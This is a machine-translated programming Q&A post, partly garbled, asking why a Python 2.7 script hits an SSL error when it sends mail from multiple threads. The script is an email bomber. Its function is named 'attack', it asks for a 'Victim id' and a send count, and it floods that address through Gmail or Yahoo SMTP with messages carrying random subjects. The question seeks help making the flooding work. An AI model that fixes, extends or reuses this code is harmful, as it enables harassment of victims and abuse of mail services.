Python 2.7 多线程时smtp错误[quot;[Errno 1]\u ssl.c:1415:error:1408F10B:ssl例程:SSL3\u GET\u记录:版本号错误";]

Python 2.7 多线程时smtp错误[quot;[Errno 1]\u ssl.c:1415:error:1408F10B:ssl例程:SSL3\u GET\u记录:版本号错误";],python-2.7,Python 2.7,当我使用多线程发送电子邮件时,会出现此错误 “SMTPServerDisconnected:连接意外关闭:[Errno 1]\u ssl.c:1415:错误:1408F10B:ssl例程:SSL3\u GET\u记录:版本号错误” 如果我一次发送一条消息,它就可以工作,但当我增加总计数(超过1)时,它就不工作了……这是我的代码 import os import os import smtplib import getpass import sys from threading import *

当我使用多线程发送电子邮件时,会出现此错误

“SMTPServerDisconnected:连接意外关闭:[Errno 1]\u ssl.c:1415:错误:1408F10B:ssl例程:SSL3\u GET\u记录:版本号错误”

如果我一次发送一条消息,它就可以工作,但当我增加总计数(超过1)时,它就不工作了……这是我的代码

import os
import os
import smtplib
import getpass
import sys
from threading import *

os.system('cls' if os.name == 'nt' else 'clear')

def attack():
  global user
  global body
  global to
  global msg
  global status 
  subject = os.urandom(9)
  msg = 'From: ' + user + '\nSubject: ' + subject + '\n' + body
  server.sendmail(user,to,msg)
  status += 1
  print "\rTotal emails sent: " + str(status)


server = raw_input ('Enter the server Name: ')
user = raw_input('Enter your emailid: ')
passwd = getpass.getpass('Password: ')


to = raw_input('\nVictim id: ')
body = raw_input('Message: ')
total = input('Number of send: ')
status = 0

if server == 'gmail':
    smtp_server = 'smtp.gmail.com'
    port = 587
elif server == 'yahoo':
    smtp_server = 'smtp.mail.yahoo.com'
    port = 25
else:
    print 'Applies only to gmail and yahoo.'
    sys.exit()

try:
    server = smtplib.SMTP(smtp_server,port)
    server.ehlo()
    if smtp_server == "smtp.gmail.com":
        server.starttls()
    server.login(user,passwd)
    print "[+] Login Success."
except:
    print "login error"

for i in range(int(total)):
       t = Thread(target=attack)
       t.start()